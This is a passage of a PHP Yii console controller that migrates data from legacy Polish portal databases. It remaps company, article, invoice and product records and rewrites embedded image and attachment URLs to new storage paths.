            $aboutCompany = $data[$companiesToUsersMap[$idCompany]]['about_company_content'];
            $aboutCompanyLead = $data[$companiesToUsersMap[$idCompany]]['about_company_lead'];
            $offer = $data[$companiesToUsersMap[$idCompany]]['offer'];
            if($modelPage->companyTab->id_tab === \common\models\PresentationsTabs::TAB_ABOUT_COMPANY) {
                $modelPage->lead = !empty($aboutCompanyLead) ? strip_tags($aboutCompanyLead) : null;
                $modelPage->content = !empty($aboutCompany) ? $aboutCompany : null; 
            } elseif($modelPage->companyTab->id_tab === \common\models\PresentationsTabs::TAB_OFFER) {
                $modelPage->lead = !empty($offer) ? strip_tags($offer) : null;
                $modelPage->content = !empty($offer) ? $offer : null; 
            } else {
                continue;
            }
            
            if(empty($modelPage->lead)) {
                $counterOfNotCorrected++;
                continue;
            }
            
            $transaction = Yii::$app->db->beginTransaction();      
            echo "\n".'Strona: '.$modelPage->id_company_tab.' - ';
            $flag = $modelPage->save(false);
            if($flag) {
                $transaction->commit();
                echo 'zmodyfikowana';
            } else {
                $transaction->rollBack();
                echo 'blad';
            }
        }
        echo "\n".'Ilosc niepoprawionych stron: '.$counterOfNotCorrected.' - ';
    }
    
    public function actionPresentationsOfferAndAboutCompany3($limit, $offset)
    {
        $modelsPages = \common\models\CompaniesPresentationsPages::find()
                ->with([
                    'companyTab.presentation'
                ])
                ->join('INNER JOIN', 'companies_presentations_tabs', 'companies_presentations_tabs.id_company_tab = companies_presentations_pages.id_company_tab')
                ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_tabs.id_presentation')
                ->where([
                    'companies_presentations_tabs.id_tab' => [\common\models\PresentationsTabs::TAB_ABOUT_COMPANY, \common\models\PresentationsTabs::TAB_OFFER],
//                    'companies_presentations_tabs.id_presentation' => 3732
                ])
                ->limit($limit)
                ->offset($offset)
                ->orderBy('companies_presentations_pages.id_company_tab ASC')
                ->all();
//        var_dump(count($modelsPages)); exit;
        $usersToCompaniesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $usersToCompaniesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 
        
        $incorrectImports = [];
        $counter = 0;
        foreach($modelsPages as $modelPage) {
            if($modelPage->content === 'Uzupełnij') {
                continue;
            }
            
            $matches = [];
            
            $result = preg_match_all('#src="\/(img)\/users\/([0-9]+)\/([0-9a-zA-Z_\-\.]+)"#i', $modelPage->content, $matches);
            
            if($result === 0 || $result === false) {
                $result = preg_match_all('#src="http(s)?:\/\/[a-z\.\-]{8,}\/img\/users\/([0-9]+)\/([0-9a-zA-Z_\-\.]+)"#i', $modelPage->content, $matches);
            }
            
            if(!$result) {
                continue;
            }
//            var_dump($matches); exit;
            
            $orReplaced = false;
            foreach($matches[0] as $key => $match) {
                $idUser = (int)$matches[2][$key];
                $idCompany = isset($usersToCompaniesMap[$idUser]) ? $usersToCompaniesMap[$idUser] : 0;
                if($idCompany !== 0 && $idCompany !== $modelPage->companyTab->presentation->id_company) {
                    $incorrectImports[$modelPage->companyTab->id_presentation] = $modelPage->companyTab->id_presentation;
                    $idCompany = $modelPage->companyTab->presentation->id_company;
//                    continue;
                }
                
                if(!empty($idCompany)) {
                    $targetPath = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/'.$matches[3][$key];
                    if(file_exists($targetPath)) {
                        $sourcePhrase = $match;
                        $targetPhrase = 'src="'.Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$idCompany.'/'.$matches[3][$key].'"';
                        
                        $modelPage->content = str_replace($sourcePhrase, $targetPhrase, $modelPage->content);
                        $orReplaced = true;                        
                    }                    
                }
            }
            
            if($orReplaced) {
                $counter++;
                $modelPage->save(false);
            }
            
            
        }
        var_dump('Poprawiono: '.$counter);
        var_dump('Nieprawidlowe relacje miedzy firmami: '.implode(', ', array_values($incorrectImports)));
        exit;
    }
    
    public function actionPresentationsAboutCompanyLead()
    {
        $modelsPages = \common\models\CompaniesPresentationsPages::find()
                ->with([
                    'companyTab.presentation'
                ])
                ->join('INNER JOIN', 'companies_presentations_tabs', 'companies_presentations_tabs.id_company_tab = companies_presentations_pages.id_company_tab AND companies_presentations_tabs.id_tab = \''.\common\models\PresentationsTabs::TAB_ABOUT_COMPANY.'\'')
                ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_tabs.id_presentation')
                ->where([
                    'companies_presentations.id_portal' => 8
                ])
                ->andWhere('companies_presentations.id_presentation > 2123')
//                ->offset(0)
//                ->limit(10)
                ->all();

        $companiesToUsersMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $companiesToUsersMap[(int)$document['target_id']] = (int)$document['source_id'];
            }
        } 
        
        $sql = 'SELECT u.opis_wyszukiwarka, u.id_user  
                FROM users u, pakiety_users pu 
                WHERE u.id_user = pu.id_user 
                    AND u.id_portal = 8 
                    AND u.profil = 8 
                    AND u.status = 1 
                    AND pu.id_pakiet > 1 
                ORDER BY u.id_user ASC';
        $data = [];
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        foreach($rows as $row) {
            $data[intval($row['id_user'])] = [
                'about_company_lead' => $this->convertDataLatin2ToUTF8($row['opis_wyszukiwarka'])
            ];
        }
        unset($rows);
        
        $counterOfEmpty = 0;
        foreach($modelsPages as $modelPage) {
            $idCompany = $modelPage->companyTab->presentation->id_company;
            if(!isset($companiesToUsersMap[$idCompany]) || !isset($data[$companiesToUsersMap[$idCompany]])) {
                continue;
            }
            
            $aboutCompanyLead = $data[$companiesToUsersMap[$idCompany]]['about_company_lead'];
            $modelPage->lead = !empty($aboutCompanyLead) ? strip_tags($aboutCompanyLead) : null;            
            if(empty($modelPage->lead)) {
                $counterOfEmpty++;
                $modelPage->lead = 'Uzupełnij';
            }
            
            $transaction = Yii::$app->db->beginTransaction();      
            echo "\n".'Strona: '.$modelPage->id_company_tab.' - ';
            $flag = $modelPage->save(false);
            if($flag) {
                $transaction->commit();
                echo 'zmodyfikowana';
            } else {
                $transaction->rollBack();
                echo 'blad';
            }
        }
        echo "\n".'Ilosc pustych opisow: '.$counterOfEmpty.' - ';
    }
    
    public function actionFillSeoForCompanies()
    {        
        $usersToCompaniesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $usersToCompaniesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 
        
        $sql = 'SELECT firmy_settings.id_user, firmy_settings.value, users.id_portal, users.id_portal_2, users.id_portal_3  
                FROM firmy_settings 
                INNER JOIN users ON users.id_user = firmy_settings.id_user 
                WHERE firmy_settings.name = "uslugi_pozycjonowanie" 
                ORDER BY firmy_settings.id_user ASC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        foreach($rows as $row) {
            $row = $this->convertDataLatin2ToUTF8($row);
            $idCompany = isset($usersToCompaniesMap[intval($row['id_user'])]) ? $usersToCompaniesMap[intval($row['id_user'])] : null;
            if(empty($usersToCompaniesMap[intval($row['id_user'])])) {
                continue;
            } 
            
            $portals = [intval($row['id_portal'])];
            if(!empty($row['id_portal_2'])) {
                $portals[] = intval($row['id_portal_2']);
            }
            if(!empty($row['id_portal_3'])) {
                $portals[] = intval($row['id_portal_3']);
            }
            
            try {
                Yii::$app->mongodb->getCollection('seo_for_companies')->save([
                    'id_company' => $usersToCompaniesMap[intval($row['id_user'])], 
                    'seo' => $row['value'],
                    'portals' => $portals
                ]);
            } catch(\yii\db\Exception $e) {
                $this->stderr($e->getMessage());
                return Controller::EXIT_CODE_ERROR;
            }
            
        }
        unset($rows);
    }
    
    public function actionSetSeoForCompanies()
    {        
        $usersToCompaniesMap = [];
        $query = new \yii\mongodb\Query();
        $seoData = $query->from('seo_for_companies')->select(['_id', 'id_company', 'seo', 'portals'])->all();
        
        foreach($seoData as $item) {
            $modelsPresentations = \common\models\CompaniesPresentations::find()
                    ->where([
                        'id_company' => $item['id_company'],
                        'id_portal' => $item['portals']
                    ])
                    ->all();
            if(empty($modelsPresentations)) {
                continue;
            }
            
            foreach($modelsPresentations as $modelPresentation) {
                $modelPresentation->setSettingsKey('seo_phrase', $item['seo']);
                
                if(!$modelPresentation->saveSettings()) {
                    echo 'Blad: '.$modelPresentation->id_presentation."\n";
                    exit;
                } else {
                    echo 'Zaktualizowano: '.$modelPresentation->id_presentation."\n";
                }
            }
        }
    }
    
    public function actionRemoveDuplicatedInvoices1()
    {       
        exit;
        $invoicesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies_invoices')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $invoicesMap[(int)$document['source_id']][] = (int)$document['target_id'];
            }
        } 
        
        $counter = 0;
        $idsInvoicesForDelete = [];
        foreach($invoicesMap as $items) {
            if(count($items) > 1) {
                $counter++;
                $idsInvoicesForDelete[] = $items[0] > $items[1] ? $items[0] : $items[1];
            }
        }
        
        Yii::$app->db->createCommand()->delete('invoices', 'id_invoice IN ('.implode(',', $idsInvoicesForDelete).')')->execute();
        
        foreach($idsInvoicesForDelete as $idInvoiceForDelete) {
            Yii::$app->mongodb->getCollection('import_companies_invoices')->remove(['target_id' => $idInvoiceForDelete]);
        }
        
        var_dump('koniec');
        exit;
    }
    
    public function actionRemoveDuplicatedInvoices2()
    {
        exit;
        $idsInvoicesForDelete = [];
        
        $sql = 'SELECT id_invoice FROM invoices WHERE invoice_number IN (
            SELECT invoice_number FROM invoices WHERE invoice_number IS NOT NULL GROUP BY invoice_number HAVING COUNT(invoice_number) > 1
            ) ORDER BY id_invoice DESC';
        $idsDuplicatedInvoices = Yii::$app->db->createCommand($sql)->queryColumn();
        
        $modelsInvoices = \common\models\Invoices::find()->where(['id_invoice' => $idsDuplicatedInvoices])->orderBy('id_invoice ASC')->all();
        $modelsInvoicesByNumber = [];
        foreach($modelsInvoices as $modelInvoice) {
            $modelsInvoicesByNumber[$modelInvoice->invoice_number][] = $modelInvoice;
        }
        unset($modelsInvoices);
        
        $transaction = Yii::$app->db->beginTransaction();
        foreach($modelsInvoicesByNumber as $invoiceNumber => $items) {
            $modelInvoice = $items[0];
            $idsInvoicesForDelete[] = $items[1]->id_invoice;
            if(!empty($items[2])) {
                $modelInvoiceDuplicated = $items[2];
                $idsInvoicesForDelete[] = $items[2]->id_invoice;
            } else {
                $modelInvoiceDuplicated = $items[1];
            }
            
            $modelInvoice->duplicate_date = $modelInvoiceDuplicated->duplicate_date;
            $modelInvoice->updated_at = $modelInvoiceDuplicated->updated_at;
            
            echo 'zapisuemy: '.$modelInvoice->id_invoice."\n";
            if(!$modelInvoice->save(false)) {
                $transaction->rollBack();
                var_dump('BLAD');
                exit;
            }
        }
        Yii::$app->db->createCommand()->delete('invoices', 'id_invoice IN ('.implode(',', $idsInvoicesForDelete).')')->execute();   
        $transaction->commit();             
        foreach($idsInvoicesForDelete as $idInvoiceForDelete) {
            Yii::$app->mongodb->getCollection('import_companies_invoices')->remove(['target_id' => $idInvoiceForDelete]);
        }  
        
        var_dump('koniec');
        exit;
    }
    
    public function actionFairsEmbeddedImages()
    {        
        exit;
        //SQL: UPDATE fairs SET content = REPLACE(content, 'https://common.v-manager.pl/uploads/source', 'src="https://common.v-manager.pl/uploads/source')
        
        $models = \common\models\Fairs::find()->all();

        $regex = '#src="http(s)?:\/\/[a-z\.\-]{8,}\/img\/art\/([0-9]+\/[0-9]+)\/[0-9a-zA-Z_\-\.]+"#i';
//        $regex = '#src="http(s)?:\/\/[a-z\.\-]{8,}\/img\/art\/([0-9]+\/[0-9]+)\/#i';        
//        $html = '<img alt="Sieć Badawcza Łukasiewicz, Instytut Spawalnictwa logo" src="http://www.metale.org/img/art/2019/4853/0_upload_62c58216b2.gif" style="width: 250px; height: 33px;" />';
//        $matches = [];
//        preg_match_all($regex, $html, $matches);
//        var_dump($matches);
//        exit;
        
        $urls = [];
        $filesToCopy = [];
        $errors = [];
        foreach($models as $model) {
            $matches = [];
            if(preg_match_all($regex, $model->content, $matches) >= 1) {                
                foreach($matches[0] as $key => $url) {
                    $match = $matches[0][$key];
                    $match = substr($match, 5);
                    $match = rtrim($match, '"');
                    $urls[] = $match;

                    $fileName = basename($match);
                    
                    $sourcePath = Yii::getAlias('@runtime').'/sources/articles/photos/'.$matches[2][$key].'/original/'.$fileName;
                    
                    if(!file_exists($sourcePath)) {
                        $sourcePath = Yii::getAlias('@runtime').'/sources/articles/photos/'.$matches[2][$key].'/'.$fileName;
                    }
                    
                    $targetPath = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@fairsContentsImagesDirName').'/'.$model->id_fair.'/'.$fileName;
                    
                    if(file_exists($targetPath)) {
                        $model->content = str_replace('src="'.$match.'"', 'src="'.Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@fairsContentsImagesDirName').'/'.$model->id_fair.'/'.$fileName.'"', $model->content);
                        $model->save(false);
//                        $targetPath = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@fairsContentsImagesDirName').'/'.$model->id_fair.'/'.$fileName;

                        if(!isset($filesToCopy[$targetPath])) {
                            $filesToCopy[$targetPath] = [
                                'source_path' => $sourcePath,
                                'target_path' => $targetPath
                            ];
//                            echo 'kopiujemy: '.$sourcePath."\n";
//                            if(!$this->copyFile($filesToCopy[$targetPath])) {
//                                $this->stderr('BLAD: '.$model->id_fair);
//                                $errors[] = $model->id_fair;
//                            }
                        }
                    }
                }
            }
        }
        var_dump($errors);
        exit;
    }
    
    public function actionFairsSeriesEmbeddedImages()
    {
        exit;
        $models = \common\models\FairsSeries::find()->all();

        $regex = '#src="http(s)?:\/\/[a-z\.\-]{8,}\/img\/art\/([0-9]+\/[0-9]+)\/[0-9a-zA-Z_\-\.]+"#i';
        
        $urls = [];
        $filesToCopy = [];
        $errors = [];
        foreach($models as $model) {
            $matches = [];
            if(preg_match_all($regex, $model->description, $matches) >= 1) {                
                foreach($matches[0] as $key => $url) {
                    $match = $matches[0][$key];
                    $match = substr($match, 5);
                    $match = rtrim($match, '"');
                    $urls[] = $match;

                    $fileName = basename($match);
                    
                    $sourcePath = Yii::getAlias('@runtime').'/sources/articles/photos/'.$matches[2][$key].'/original/'.$fileName;
                    
                    if(!file_exists($sourcePath)) {
                        $sourcePath = Yii::getAlias('@runtime').'/sources/articles/photos/'.$matches[2][$key].'/'.$fileName;
                    }
                    
                    $targetPath = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@fairsSeriesContentsImagesDirName').'/'.$model->id_series.'/'.$fileName;
                    
                    if(file_exists($targetPath)) {
                        $model->description = str_replace('src="'.$match.'"', 'src="'.Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@fairsSeriesContentsImagesDirName').'/'.$model->id_series.'/'.$fileName.'"', $model->description);
                        $model->save(false);
                        
                        if(!isset($filesToCopy[$targetPath])) {
                            $filesToCopy[$targetPath] = [
                                'source_path' => $sourcePath,
                                'target_path' => $targetPath
                            ];
//                            echo 'kopiujemy: '.$sourcePath."\n";
//                            if(!$this->copyFile($filesToCopy[$targetPath])) {
//                                $this->stderr('BLAD: '.$model->id_series);
//                                $errors[] = $model->id_series;
//                            }
                        }
                    }
                }
            }
        }
        var_dump($errors);
        exit;
    }
    
    public function actionArticlesChanges1()
    {
        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase('base_db')->listCollections(), 'name');
        if(in_array('articles_changes', $existsCollections)) {
            Yii::$app->mongodb->getCollection('articles_changes')->drop();
        }
        
        $articlesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_articles')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $articlesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
            unset($documents);
        }         
        
        $operatorsMap = [
            'dominik' => 100, //'vm_dominik'
            'grabska' => 180, //'vm_nataliag'
            'lukasz' => 104, //'vm_lukasz'
            'marta' => 181, //'vm_marta'
            'sandra' => 175, //'vm_sandra'
        ];
        
        $sql = 'SELECT id_artykul, data, cu
                FROM artykuly_historia 
                ORDER BY id_artykul ASC';

        $rows = Yii::$app->dbNeoportal->createCommand($sql)->queryAll();
        foreach($rows as $row) {            
            $row = $this->convertDataLatin2ToUTF8($row);
            if(!isset($operatorsMap[$row['cu']]) || !isset($articlesMap[intval($row['id_artykul'])])) {
                continue;
            }
            
            try {
                Yii::$app->mongodb->getCollection('articles_changes')->save([
                    'id_article' => $articlesMap[intval($row['id_artykul'])], 
                    'id_user' => $operatorsMap[$row['cu']],
                    'datetime' => new \MongoDB\BSON\UTCDateTime(strtotime($row['data'])*1000)
                ]);
            } catch(\yii\db\Exception $e) {
                $this->stderr($e->getMessage());
                return Controller::EXIT_CODE_ERROR;
            }
        }
        unset($rows);
        
        return Controller::EXIT_CODE_NORMAL;
        
    }
    
    public function actionArticlesForInactivePortals2()
    {
        $query = new \yii\mongodb\Query();
        $documents = $query->from('articles_fix')->select(['_id', 'id_portal', 'id_article'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $orExistsArticle = \common\models\Articles::find()->where(['id_article' => (int)$document['id_article']])->exists();
                if(!$orExistsArticle) {
                    continue;
                }
                
                $orExistsArticleRelation = \common\models\ArticlesHasPortals::find()->where(['id_article' => (int)$document['id_article'], 'id_portal' => (int)$document['id_portal']])->exists();
                if($orExistsArticleRelation) {
                    continue;
                }
                
                Yii::$app->db->createCommand()->insert(
                    'articles_has_portals', 
                    ['id_article' => (int)$document['id_article'], 'id_portal' => (int)$document['id_portal']]
                )->execute();
                
//                $this->stdout($document['id_article'].', '.$document['id_portal']);
                Yii::$app->mongodb->getCollection('articles_fix')->remove(['_id' => (string)$document['_id']]);
            }
            unset($documents);
        }
        
        return Controller::EXIT_CODE_NORMAL;        
    }
    
    public function actionArticlesForInactivePortals1()
    {        
        $articlesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_articles')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $articlesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
            unset($documents);
        }
        
        $sql = 'SELECT id_artykul, id_portal 
                FROM artykuly_portale 
                WHERE id_portal IN (32, 52, 55, 56, 64, 126) 
                ORDER BY id_portal ASC, id_artykul ASC';

        $rows = Yii::$app->dbNeoportal->createCommand($sql)->queryAll();
        foreach($rows as $row) {            
            $row = $this->convertDataLatin2ToUTF8($row);
            if(!isset($articlesMap[intval($row['id_artykul'])])) {
                continue;
            }
            
            try {
                Yii::$app->mongodb->getCollection('articles_fix')->save([
                    'id_article' => $articlesMap[intval($row['id_artykul'])], 
                    'id_portal' => intval($row['id_portal']),
                ]);
            } catch(\yii\db\Exception $e) {
                $this->stderr($e->getMessage());
                return Controller::EXIT_CODE_ERROR;
            }
        }
        unset($rows);
        
        return Controller::EXIT_CODE_NORMAL;        
    }
    
    public function actionArticlesChanges2()
    {
        $modelsOperators = \common\models\Users::find()
                ->where(['id_user' => [100, 180, 104, 181, 175]])
                ->indexBy('id_user')
                ->all();
        
        $query = new \yii\mongodb\Query();
        $documents = $query->from('articles_changes')->select(['_id', 'id_article', 'id_user', 'datetime'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $idArticle = intval($document['id_article']);
                if(\common\models\ArticlesChangelogs::find()->where(['_id' => $idArticle])->exists()) {
                    continue;
                }
                
                $modelOperator = $modelsOperators[intval($document['id_user'])];
                
                try {                    
                    $datetime = $document['datetime'];
                    
                    Yii::$app->mongodb->getCollection('articles_changelogs')->insert([
                        '_id' => $idArticle, 
                        'id_user' => $modelOperator->id_user,
                        'forename' => $modelOperator->forename,
                        'surname' => $modelOperator->surname,
                        'created_at' => $datetime,
                        'updated_at' => $datetime,
                        'changes' => [[
                            'id_user' => $modelOperator->id_user,
                            'forename' => $modelOperator->forename,
                            'surname' => $modelOperator->surname,
                            'action' => \common\models\ArticlesChangelogs::ACTION_UPDATE,
                            'annotation' => null,
                            'datetime' => $datetime,
                        ]]
                    ]);
                } catch(\yii\db\Exception $e) {
                    $this->stderr($e->getMessage());
                    return Controller::EXIT_CODE_ERROR;
                }            
                
            }
            unset($documents);
        }         
        
        return Controller::EXIT_CODE_NORMAL;
        
    }
    
    public function actionProductsAttachments()
    {
        exit;
        $companiesToUsersMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $companiesToUsersMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
            unset($documents);
        } 
        
        $models = \common\models\ProductsAttachments::find()->all();
        
        $regex = '#(http(s)?:\/\/[a-z\.\-]{8,}\/download\/users\/)([0-9]+)\/#i';
        
        $errors = [];
        $notFoundCounter = 0;
        $foundCounter = 0;
        foreach($models as $model) {
            $matches = [];
            $model->url = urldecode($model->url);
            if(preg_match($regex, $model->url, $matches) === 1) {   
                
                $oldIdUser = intval($matches[3]);
                if(!isset($companiesToUsersMap[$oldIdUser])) {
                    continue;
                }                
                $newIdCompany = $companiesToUsersMap[$oldIdUser];
//                $oldFilename = $matches[3];
//                $sourcePath = Yii::getAlias('@runtime').'/sources/download/'.$oldIdUser.'/'.$oldFilename;
                
                $sourcePath = str_replace($matches[1], Yii::getAlias('@runtime').'/sources/download/', $model->url);
                
                if(!file_exists($sourcePath)) {
                    $notFoundCounter++;
                    continue;
                } else {
                    $foundCounter++;
                }
                
                $pathInfo = pathinfo($sourcePath);                
                $oldFileBaseName = $pathInfo['filename'];
                $oldFileExtension = $pathInfo['extension'];
                
                $model->filename = \common\models\ProductsAttachments::createFileName($oldFileBaseName, $oldFileExtension);
                $model->url = null;
                
                $targetPath = Yii::getAlias('@productsAttachmentsRealPath').'/'.$model->id_product.'/'.$model->filename; 
//                echo 'kopiujemy: '.$sourcePath."\n";
                if(!$this->copyFile(['source_path' => $sourcePath, 'target_path' => $targetPath])) {
                    $errors[] = $model->id_attachment;
                }
                
                $data[] = [$model->id_attachment, $model->filename];
            }
        }
        
        try {
            Yii::$app->db->createCommand()->batchInsert(
                'products_attachments_files', 
                ['id_attachment', 'filename'], 
                $data
            )->execute();
        } catch(\yii\db\Exception $e) {
            $this->stderr($e->getMessage());
            return Controller::EXIT_CODE_ERROR;
        }
        
        if(!empty($errors)) {
            $this->stderr('BLEDY KOPIOWANIA: '.implode(',', $errors));
        }
        
        var_dump('Znaleziono: '.$foundCounter);
        var_dump('Nie znaleziono: '.$notFoundCounter);
        
    }
    
    public function actionProductsEmbeddedImages()
    {
        $usersToCompaniesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $usersToCompaniesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
            unset($documents);
        } 
        
        $products = \common\models\Products::find()->select(['id_product', 'description'])->asArray()->all();
        
        $regex = '#src="http(s)?:\/\/[a-z\.\-]{8,}\/img\/users\/([0-9]+)\/#i';
        
        $urls = [];
        $foundCounter = 0;
        foreach($products as $product) {
            $matches = [];
            if(preg_match_all($regex, $product['description'], $matches) >= 1) {   
                $modifiedProductDescription = $product['description'];
                $foundCounter++;

                foreach($matches[0] as $key => $url) {
                    $oldIdUser = intval($matches[2][$key]);
                    if(!isset($usersToCompaniesMap[$oldIdUser])) {
                        continue;
                    }   
                    $newIdCompany = $usersToCompaniesMap[$oldIdUser];

                    $match = $matches[0][$key];
                    $match = substr($match, 5);
                    $match = rtrim($match, '"');
                    
                    $urls[$match] = $match;
                    
                    $modifiedProductDescription = str_replace($match, Yii::getAlias('@sourcesUrl').'/'.Yii::getAlias('@companiesContentsImagesDirName').'/'.$newIdCompany.'/', $modifiedProductDescription);
                    
                }
                
                \common\models\Products::updateAll(['description' => $modifiedProductDescription], ['id_product' => $product['id_product']]);
            }
        }
        
        var_dump('Znaleziono: '.$foundCounter);
        
    }
    
    protected function convertDataLatin2ToUTF8($data)
    {
        if(is_string($data)) {
            $data = iconv('ISO-8859-2//IGNORE', 'UTF-8', $data);
            $data = trim($data);
        } elseif(is_array($data) && !empty($data)) {
            foreach($data as $key => $value) {
                if(is_string($value)) {
                    $data[$key] = iconv('ISO-8859-2//IGNORE', 'UTF-8', $value);
                    $data[$key] = trim($data[$key]);
                }
            }
        } 
        
        return $data;
    }
    
//    public function actionArticlesAnnotations($limit, $offset)
//    {
//        $articlesMap = [];
//        $query = new \yii\mongodb\Query();
//        $documents = $query->from('import_articles')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
//        if(!empty($documents)) {
//            foreach($documents as $document) {
//                $articlesMap[(int)$document['source_id']] = (int)$document['target_id'];
//            }
//            unset($documents);
//        }         
//        
//        $sql = 'SELECT id, notatka
//                FROM artykuly 
//                ORDER BY id ASC 
//                LIMIT '.intval($offset).','.intval($limit);
//
//        $data = [];
//        $rows = Yii::$app->dbNeoportal->createCommand($sql)->queryAll();
//        var_dump(count($rows));
//        foreach($rows as $row) {
//            if(!isset($articlesMap[intval($row['id'])])) {
//                continue;
//            }
//            
//            $annotation = $this->convertDataLatin2ToUTF8($row['notatka']);
//            if(empty($annotation)) {
//                continue;
//            }
//            
//            $data[] = [$articlesMap[intval($row['id'])], $annotation];
//        }
//        unset($rows);
//        
//        try {
//            Yii::$app->db->createCommand()->batchInsert(
//                'articles_annotations', 
//                ['id_article', 'annotation'], 
//                $data
//            )->execute();
//        } catch(\yii\db\Exception $e) {
//            $this->stderr($e->getMessage());
//            return Controller::EXIT_CODE_ERROR;
//        }
//        
//        return Controller::EXIT_CODE_NORMAL;
//        
//    }
    
    public function actionCompaniesLabels()
    {
        $idsCompanies = Yii::$app->db->createCommand('SELECT id_company FROM companies')->queryColumn();
        $idsCompanies = array_combine($idsCompanies, $idsCompanies);
        
        unset($idsCompanies[1]); //pomijamy firmę pomocniczo-testową
        
        $idsCompaniesWithPresentations = Yii::$app->db->createCommand('SELECT DISTINCT id_company FROM companies_presentations')->queryColumn();
        $idsCompaniesWithPresentations = array_combine($idsCompaniesWithPresentations, $idsCompaniesWithPresentations);
        
        $vortaleCompaniesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $vortaleCompaniesMap[(int)$document['target_id']][] = (int)$document['source_id'];
            }
            unset($documents);
        }  
        
        $vcallcenterCompaniesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_vcallcenter_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $vcallcenterCompaniesMap[(int)$document['target_id']] = (int)$document['source_id'];
            }
            unset($documents);
        }  
        
        $vcallcenterCompaniesLabels = [];
        $rows = Yii::$app->dbVcallcenter->createCommand('SELECT id_firma, nazwa FROM vcallcenter_firmy')->queryAll();
        foreach($rows as $row) {            
            $vcallcenterCompaniesLabels[(int)$row['id_firma']] = $this->convertDataLatin2ToUTF8($row['nazwa']);
        }
        unset($rows);
        
        $vortaleToVcallcenterRelations = [];
        $rows = Yii::$app->dbVcallcenter->createCommand('SELECT id_firma, id_user FROM vcallcenter_firmy_portal')->queryAll();
        foreach($rows as $row) {            
            $vortaleToVcallcenterRelations[(int)$row['id_user']][] = (int)$row['id_firma'];
        }
        unset($rows);
        
        $counter = 0;
        $data = [];
        $errors = [];
        foreach($idsCompanies as $idCompany) {            
//            if($counter > 10) {
//                break;
//            }
            
            if(!isset($idsCompaniesWithPresentations[$idCompany]) && isset($vcallcenterCompaniesMap[$idCompany])) {
                //firma pochodzi z vcallcenter, więc wystarczy przepisać nazwę
                
                $idVcallcenterCompany = $vcallcenterCompaniesMap[$idCompany];
                $label = $vcallcenterCompaniesLabels[$idVcallcenterCompany];
                
            } elseif(isset($idsCompaniesWithPresentations[$idCompany]) && isset($vortaleCompaniesMap[$idCompany])) {
                //firma pochodzi z vortali, więc szukamy jej odpowiednika w vcallcenter
                
                $label = ''; 
                $orExists = false;
                foreach($vortaleCompaniesMap[$idCompany] as $idVortaleCompany) {
                    if(empty($vortaleToVcallcenterRelations[$idVortaleCompany])) {
                        continue;
                    }
                        
                    foreach($vortaleToVcallcenterRelations[$idVortaleCompany] as $idVcallcenterCompany) {
                        if(isset($vcallcenterCompaniesLabels[$idVcallcenterCompany])) {
                            $label = $vcallcenterCompaniesLabels[$idVcallcenterCompany];
                            $orExists = true;
                            break;
                        }
                    }
                    
                    if($orExists === true) {
                        break;
                    }
                }
            } else {
                $errors[] = $idCompany;
            }
            
            $counter++;
            
            if(empty($label)) {
                $errors[] = $idCompany;
            } else {
                $data[] = [$idCompany, $label];
            }
        }
        
        if(!empty($errors)) {
            var_dump('Ilość błędów: '.count($errors)); 
        }
        
        $dataSets = array_chunk($data, 5000);
        unset($data);
        
        foreach($dataSets as $data) {
//            try {
//                Yii::$app->db->createCommand()->batchInsert(
//                    'companies_labels', 
